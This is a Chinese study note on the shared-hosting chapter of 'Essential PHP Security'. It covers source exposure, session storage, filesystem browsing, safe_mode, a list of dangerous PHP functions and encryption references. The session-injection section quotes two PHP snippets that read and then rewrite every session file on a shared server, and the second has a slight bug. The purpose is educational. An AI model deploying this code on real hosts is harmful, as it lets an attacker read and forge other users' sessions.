导读:共享主机不安全。至少不能达到高级别。
详细:
1 源码暴露
由于WEB服务器必须要能够读取源码并执行,这就一位这任意人所写的代码都可以被服务器运行。
要避免源码泄漏,就需要避免使用用户输入文件并执行。如果一定要,也需要制作白名单。
不在白名单内的输入统统返回错误。
2 会话数据暴露
书中提及的将会话数据保存到数据库中,还不知道业内是如何处理,但个人觉得,这么做,逻辑复杂了。待今后学习。
3 会话注入
文中提到,以下代码方便用户编辑已经存在的会话数据:
<?php session_start(); ?> <form action="inject.php" method="POST"> <?php $path = ini_get('session.save_path'); $handle = dir($path); while ($filename = $handle->read()) { if (substr($filename, 0, 5) == 'sess_') { $sess_data = file_get_contents("$path/$filename"); if (!empty($sess_data)) { session_decode($sess_data); $sess_data = $_SESSION; $_SESSION = array(); $sess_name = substr($filename, 5); $sess_name = htmlentities($sess_name, ENT_QUOTES, 'UTF-8'); echo "<h1>Session [$sess_name]</h1>"; foreach ($sess_data as $name => $value) { $name = htmlentities($name, ENT_QUOTES, 'UTF-8'); $value = htmlentities($value, ENT_QUOTES, 'UTF-8'); echo "<p> $name: <input type=\"text\" name=\"{$sess_name}[{$name}]\" value=\"$value\" /> </p>"; } echo '<br />'; } } } $handle->close(); ?> <input type="submit" /> </form>
使用以下代码便可以进行攻击行为:
<?php session_start(); $path = ini_get('session.save_path'); foreach ($_POST as $sess_name => $sess_data) { $_SESSION = $sess_data; $sess_data = session_encode; file_put_contents("$path/$sess_name", $sess_data); } $_SESSION = array(); ?>
十分的不解。
4 文件系统浏览
把共享服务器上的所有源文件看成是公开的,并要选择数据库实现所有敏感数据的保存。
5 安全模式
开启PHP的safe_mode。
另外:
1 小心并尽量不使用以下函数:
eval exec file file_get_contents fopen include passthru phpinfo popen preg_replace proc_open readfile require shell_exec system
2 加密算法
-对称加密
-非对称加密(公钥)
-Hash函数(信息摘要)
-信息验证
主要关注于使用mcrypt扩展的对称加密算法。你需要参考的资料如下:
实用加密技术(Applied Cryptography), by Bruce Schneier (Wiley)
http://www.schneier.com/blog/
http://wikipedia.org/wiki/Cryptography
http://phpsec.org/articles/2005/password-hashing.html
http://pear.php.net/package/Crypt_HMAC
http://pear.php.net/package/Crypt_RSA
终于看完《PHP安全基础》了,加固了很多开发方面的安全知识。但是,对于书中提到的某些防范措施,对于当今的web应用来说,已经不足够安全了。希望在今后的开发中,学习到更多,补充完善自己的知识。